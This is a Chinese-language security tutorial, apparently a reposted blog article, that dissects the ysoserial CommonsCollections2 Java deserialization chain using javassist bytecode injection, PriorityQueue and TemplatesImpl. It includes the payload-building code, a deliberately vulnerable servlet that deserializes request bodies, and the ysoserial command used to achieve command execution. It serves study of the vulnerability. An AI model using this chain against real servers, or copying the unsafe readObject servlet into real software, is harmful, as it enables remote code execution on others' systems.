前言
学习CommonsCollections2这条java反序列化链。
基础知识
1. javassist 字节码增强类库
JAVAssist(JAVA Programming ASSISTant)是一个开源的分析,编辑,创建 Java字节码( Class )的类库。该类库位于 JBOSS 应用服务器项目中,用于为 JBOSS 实现动态 "AOP"。
该类库的优点在于简单,快速,直接使用Java编码格式就能动态改变类的结构或动态生成类,而不需要了解 JVM 指令。
可以在maven仓库下载jar依赖:https://mvnrepository.com/artifact/org.javassist/javassist/3.27.0-GA
代码示例:
package com.example;
import javassist.*;
import java.io.IOException;
public class Javassist {
public static void main(String[] args) throws CannotCompileException, NotFoundException, IOException, InstantiationException, IllegalAccessException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(Javassist.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
// 设置静态代码块内容
ctClass.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Epic" + System.nanoTime();
ctClass.setName(randomClassName);
// 写入文件
ctClass.writeFile("src/");
// ctClass.toClass().newInstance();
}
}
运行,在src目录下生成class文件(字节码)。
可以看到,这个新生成的类较我们编写的这个类,多了一段静态代码块,这段代码块正是我们插入的代码。
如果我们能够重新加载这个新生成的类,就可以执行指定的恶意代码。
-
ClassPool classPool = ClassPool.getDefault();
ClassPool.getDefault()
方法会查找系统默认路径(JVM类搜索路径)来搜索需要的类。因为如果想要修改一个类,就得拿到这个类,因此我们需要先指定系统的类搜索路径。
-
CtClass ctClass = classPool.get(Javassist.class.getName());
CtClass(compile-time class,编译时类信息)是一个 Class 文件在代码中的抽象表现形式,用于处理类文件。
可以通过 ClassPool.get()
方法来创建 CtClass 对象,将该对象放入 ClassPool 的 HashTable 中,并返回创建的 CtClass 对象。
有了 CtClass 实例对象后,我们就可以处理类文件,编辑或者修改类了。这里我们获取的是自己编写的 Javassist.Class
的实例对象,因此我们可以修改 Javassist 类。
-
String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
我们想插入的代码,需要严格按照Java语法来,包括最后的分号也不能少。
-
ctClass.makeClassInitializer().insertBefore(cmd);
先通过 CtClass.makeClassInitializer()
方法在当前类(Javassist)中创建了一个静态代码块。再调用insertBefore()
方法在静态代码块的开头插入源代码。
-
ctClass.setName(randomClassName);
为这个我们编辑的类设置类名,这里 setName()
方法的参数是一个全限定名称,因此我们可以设置 a.b
这样的类名,代表是a包
下的b.class
。
-
ctClass.writeFile("src/");
将编辑好的类写入文件。
也可以通过 CtClass.toClass()
方法拿到生成的类,再通过 newInstance()
方法获取实例对象。
在类实例化前,JVM会加载该类,static{} 代码块的内容会在类加载时被执行,调用 java.lang.Runtime.getRuntime().exec()
方法执行系统命令,弹出计算器。
2. PriorityQueue 优先级队列
PriorityQueue
优先级队列是基于优先级堆的一种特殊队列。在我们熟知的队列基础上添加比较器(Comparator)功能,每次插入或者删除元素时,会按照比较器设定的规则进行元素排序等操作。
例子:
(1)不定义比较器,使用默认比较器
package com.example;
import java.util.PriorityQueue;
public class Myqueue {
public static void main(String[] args) {
int[] list = {5, 7, 3, 6, 2, 8, 1};
PriorityQueue<Integer> queue = new PriorityQueue<Integer>();
// 输出原始队列
for (int i : list) {
System.out.print(i + " ");
}
System.out.println();
// 逐个插入优先级队列
for (int i : list) {
queue.add(i);
}
// 逐个输出优先级队列
while (!queue.isEmpty()) {
int i = queue.remove();
System.out.print(i + " ");
}
}
}
运行结果:
可以看出,使用默认的比较器,每次弹出的元素是队列中最小的。
定义一个比较器:
package com.example;
import java.util.Comparator;
import java.util.PriorityQueue;
public class Myqueue {
public static void main(String[] args) {
int[] list = {5, 7, 3, 6, 2, 8, 1};
// PriorityQueue<Integer> queue = new PriorityQueue<Integer>();
PriorityQueue<Integer> queue = new PriorityQueue<Integer>(new Comparator<Integer>() {
@Override
public int compare(Integer o1, Integer o2) {
return o2 - o1;
}
});
// 输出原始队列
for (int i : list) {
System.out.print(i + " ");
}
System.out.println();
// 逐个插入优先级队列
for (int i : list) {
queue.add(i);
}
// 逐个输出优先级队列
while (!queue.isEmpty()) {
int i = queue.remove();
System.out.print(i + " ");
}
}
}
该比较器允许后者操作(插入或删除)的元素比前者大,所以大的元素先输出。
5 7 3 6 2 8 1
8 7 6 5 3 2 1
ysoserial 中的CC2 payload 构造
先看下yso中cc2这条链的payload是怎么构造的,后续我们再分析反序列化的过程。
yso中的主要代码:
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
首先通过Gadgets.createTemplatesImpl(command)
方法获得一个TemplatesImpl
对象实例。
获取系统属性 properXalan
的值。判断是否有这个系统变量的值。
里找不到这个系统属性。两个return传入的参数一样,达到相同的效果。
传入createTemplatesImpl
方法的参数如下:
createTemplatesImpl
// 首先获取 TemplatesImpl 类实例。
final T templates = tplClass.newInstance();
// 通过前面介绍的javassist技术获取并修改 StubTransletPayload 类
ClassPool pool = ClassPool.getDefault();
// 将StubTransletPayload类和AbstractTranslet类添加到类搜索路径,第一个类为我们需要获取并修改的类,第二个类为父类。实际上这里手工添加类搜索路径起到一个保险作用。
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
// 获取 StubTransletPayload 类并创建 CtClass 实例对象。CtClass 对象是可以被动态创建修改的。
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// 在 StubTransletPayload 类定义的最后添加静态代码块
String cmd = "java.lang.Runtime.getRuntime().exec("" +
command.replace("\", "\\").replace(""", "\"") +
"");";
clazz.makeClassInitializer().insertAfter(cmd);
// 将这个我们动态创建并进行了修改的类进行命名
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 获取 AbstractTranslet 类,并将该类作为新建类的父类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
到此,一个新建类(StubTransletPayload)已经创建并修改完成。
// 获取这个新建的恶意类的字节码
final byte[] classBytes = clazz.toBytecode();
// 通过java反射机制将这个字节码填充到 TemplatesImpl 实例对象的 _bytecodes 属性中。这里为了代码规范,还注入了一个无意义的类的字节码
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// 填充了 TemplatesImpl 实例对象的两个字段 "_name" 和 "_tfactory"
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
至此,我们得到了携带恶意类字节码的 TemplatesImpl
实例对象,变量定义为templates
。
new InvokerTransformer("toString", new Class[0], new Object[0]);
接着获取 InvokerTransformer
实例对象。从cc1链我们知道这个这个类的作用,到后面我们会讲解:
这里iMethodName
属性的值是toString
,后面会修改成想要的,这里只是暂时占位。
new PriorityQueue<Object>(2,new TransformingComparator(transformer));
创建了一个优先级队列,指定了队列的初始容量为2与比较器(comparator),然后填充了两个 "1" 初始化。
优先级队列在插入和删除元素的时候,会进行比较,即调用比较器类的TransformingComparator.compare()
方法:
可以看到,compare方法中会调用TransformingComparator
类的transformer
属性的transform
方法,查看构造函数看看这个transformer
属性:
不出所料,刚刚我们通过new InvokerTransformer("toString", new Class[0], new Object[0]);
定义的transformer实例对象传入TransformingComparator
比较器类的构造方法,赋值给this.transformer
属性。
完整流程:
优先级队列每次比较时都会调用比较器的 compare() 方法,就会调用 TransformingComparator.compare()
方法。进而调用 this.transformer.transform(obj1)
方法,即执行:InvokerTransformer.transform()
方法,进入可控的反射调用。
后面就是对通过反射方法对前面的变量进行动态修改。
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
Reflections.setFieldValue
是ysoserial项目封装的通过反射修改变量的方法。
将transformer
实例对象的iMethodName
设置为newTransformer。
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
获取优先级队列的实例对象(实际就是PriorityQueue
类的queue
属性),并修改其字段值。将我们通过 JAVAssist 构造的恶意类注入其中:
这样修改后,优先级队列调用比较器的 compare()
方法时会去比较 "templates" 和 "1" 的值,即调用执行 InvokerTransformer.transform(templates)
方法。
templates 实例对象是 TemplatesImpl 类型的,所以可控反射调用链实际上会执行 TemplatesImpl.newTransformer()
方法:
最后返回queue
这个PriorityQueue
这个优先级队列类,进行序列化。
反序列化过程分析
1. 创建web项目
创建一个maven web项目,并创建一个servlet如下:
package com.example;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
@WebServlet("/cc2")
public class CCServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
InputStream inputStream = req.getInputStream();
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
try {
objectInputStream.readObject();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
this.doGet(req, resp);
}
}
pom.xml中添加commons-collections4
4.0依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
使用yso生成calc
命令的payload:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "calc" > 117.ser
利用burp发送payload,成功执行命令弹出计算器:
2. 反序列化链分析
通过 ysoserial 生成的payload 可以知道 CommonsCollections2 Payload 返回的是一个优先级队列( PriorityQueue )对象。
因此我们直接定位到 PriorityQueue.readObject() 方法。
java.util.PriorityQueue.readObject()
传入的参数s是ObjectInputStream
类型,就是我们请求体发送过去的反序列化数据。
调用默认的 ObjectInputStream.defaultReadObject()
方法 , 反序列化数据流。
这里从这些反序列化数据读取相关值,还原PriorityQueue
这个对象。
调用 ObjectInputStream.readInt()
方法读取优先级队列的长度。这里读取了并没有赋值,在下面一行代码才获取到队列的大小并赋值给PriorityQueue
对象的size
属性。
接下来循环读取内容并赋值给queue数组:
现在已经获取到一个无序队列了,这是一个优先级队列,所以调用PriorityQueue.heapify()
方法将无序队列按照比较器规则还原成二叉堆。
java.util.PriorityQueue.heapify()
PriorityQueue.heapify() 方法用于构造二叉堆
java.util.PriorityQueue.siftDown()
PriorityQueue.siftDown() 方法会根据是否有自定义比较器来调用不同的方法。
comparator 值为 TransformingComparator
;参数x的值为 queue[0]
, 即我们写入的恶意类。
java.util.PriorityQueue.siftDownUsingComparator()
最终会调用comparator.compare()
方法,即 TransformingComparator.compare()
方法,传入的第一个参数为队列数组第一个元素为恶意类,第二个参数为队列数组第二个元素。
org.apache.commons.collections4.comparators.TransformingComparator.compare()
在构造 payload 时,我们已经把 this.transformer
指向 InvokerTransformer
实例对象,obj1 的值为 TemplatesImpl
实例对象。因此,这里实际会调用 InvokerTransformer.transform(TemplatesImpl)
。
org.apache.commons.collections4.functors.InvokerTransformer.transform()
this.iMethodName
的值为newTransformer
。
这里使用反射方法,调用TemplatesImpl.newTransformer()
方法。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer()
TemplatesImpl.newTransformer()
方法主要用于获取 TransformerImpl 实例对象。
会调用 TemplatesImpl.getTransletInstance()
方法。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance()
_name
参数不空,_class
参数为空,会调用defineTransletClasses()
方法进行一些赋值操作,该方法调用完后,相关变量的值为:
_class[_transletIndex]
就是我们通过 JAVAssist 构造的恶意类。
会对恶意类调用 newInstance()
方法,类会先被加载后再被实例化。
类在加载时会调用静态代码块中的内容。最终会调用 java.lang.Runtime.getRuntime().exec()
执行我们的命令。
总结
cc2这条链的核心就是javassist
和PriorityQueue
,整个利用链也没有很复杂。
参考链接
https://www.guildhab.top/2020/08/java-%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e8-%e8%a7%a3%e5%af%86-ysoserial-commonscollections2-pop-chains/
https://www.136.la/nginx/show-146317.html
原文始发于微信公众号(信安文摘):【yso】- CC2反序列化分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论